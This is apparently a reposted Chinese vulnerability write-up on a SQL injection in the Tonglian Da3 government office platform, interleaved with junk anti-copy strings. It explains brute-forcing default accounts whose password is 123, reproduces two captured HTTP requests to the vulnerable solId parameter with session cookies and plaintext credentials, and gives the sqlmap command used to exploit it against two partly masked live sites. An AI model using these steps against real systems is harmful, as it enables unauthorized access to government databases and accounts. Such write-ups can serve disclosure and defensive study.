同联Da3协同办公平台前台通用sql injection漏洞

admin

( E7 R6 r5 F8 N! A; ~+ g2 @

& n0 u: N# x" I" a. l' a 平台简介：

& m; Y8 O0 O# I8 H3 M

 

& t6 v" P& {* e3 ^5 Q 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
) G$ ], T# L8 o3 ?5 U同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ # N, i3 q$ e3 F: z

4 y1 w+ a9 e/ h) C* `

' O/ i% t+ r* G9 ?8 l  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： / j% w$ f3 V( T/ Y' J# h, I9 Z+ ?

  ) |, w5 J5 O+ d4 K& K o: j) \

+ S: V. R/ u: q3 x2 N! x http://1.1.1.1:7197/cap-aco/#（案例2-） / k E! V, f- @* q3 F0 v# i) v& w

& N" q& O* K7 d* b7 Y: @) i

' n/ ~1 f M* J+ k! y9 X" S http://www.XXOO.com （案例1-官网网站） * J: \5 p7 f1 E' d* g- }. L

" v5 s# y8 ~0 G2 @2 U

1 H" G' F2 b7 C/ Y  

漏洞详情:

0 @$ {& z0 i4 Z A) u

6 L: |* r" h# Q6 R( X6 Q/ e  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

" m% I1 h1 N- X% w% J

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

+ ^1 O+ H& t) |" F9 h: V1 Z5 J

 

  ' _: g Q; } d5 p/ E

- D+ V7 ]$ D+ E8 \ status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

+ B- e6 i* {1 a, f# d9 Y

& w C0 @. ^& D$ N' Y; [ 1、案例1-官方网站

+ m% c2 W; k, E G& j7 X

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

% |3 o* E' z! ~6 g9 l- V, ~. U

0 c# a: J, n) D% P$ i9 d) J Host: www.XXOO.com ) w, v: [% X/ i* n6 F, i

Proxy-Connection: Keep-Alive

s# {, z; V! K; w4 D; o3 C

$ M ^3 ?" t! ~+ J* g9 z R Accept: application/json, text/javascript, */*; q=0.01

8 l2 c Z8 o9 Y# q7 z( Y6 Q

8 w& \7 a) o+ p% X! [* R Accept-Language: zh-CN

Content-Type: application/json 1 e+ X+ v: @) p/ F4 S. ]3 J5 [

( C4 ^* d$ U: h5 c! f# z, P User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

X-Requested-With: XMLHttpRequest

' d3 |9 ~! H ~) M

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

+ b0 ?, R$ o/ H5 J: ] Accept-Encoding: gzip, deflate, sdch

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e % H( R5 ]; `8 I0 `

! [* v/ M1 A9 B# ]9 x& A. _ 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) O4 R6 v' }. N" \/ x$ o

; n; H: K Z( N: u, V( d+ e  

+ D/ l3 I/ K( v7 g% `% N

 

1 S [6 H; _4 {   $ A) w0 W( O8 I! t( A! o! K

8 x% F( H+ A! E7 u$ a+ K

  1 Q+ k. i. S! s+ R

" ~! A: v9 Z! m% q

% G$ O" ]' \ u/ X   , T2 K4 x2 V: R2 F' ], K

% x0 p% n l& Y 2、案例2-某天河云平台 " [. m2 A, k, d P

) R" c7 D8 Q: o$ E GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197 4 f; p! K, I8 }* n) Y# Z* c7 r. P k

. v5 }. R1 B- g h: V4 N7 V2 t Accept: application/json, text/javascript, */*; q=0.01

, r d c% k1 d- V- B

X-Requested-With: XMLHttpRequest

$ v; Y3 H2 y; W% Z: r

: Y# t$ S* M; Q, @6 e% w4 O User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/json

. o& `- J5 }( q2 _% R

/ Y3 n' M8 ~( s* m, [! K2 D Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 5 ~/ g( d4 Q& p" C( o

6 Q0 I# f9 _ l2 Q: g Accept-Language: zh-CN,zh;q=0.8

, q/ i" _, O) ?# @; l, o Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 ; R2 e5 z: E" Q( L( w+ [$ \- q

# Q V5 ^* f8 R* i q5 t9 a" I

# ~+ U, y% U& U- R1 r Connection: close , I% b* A J! J, c+ X( D( ]

9 f1 j4 W3 j5 o+ _7 D 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: , Q% b' X3 \3 H) b1 P6 t& v' V

6 m8 C8 L3 J; J. @$ z9 m1 V# t1 b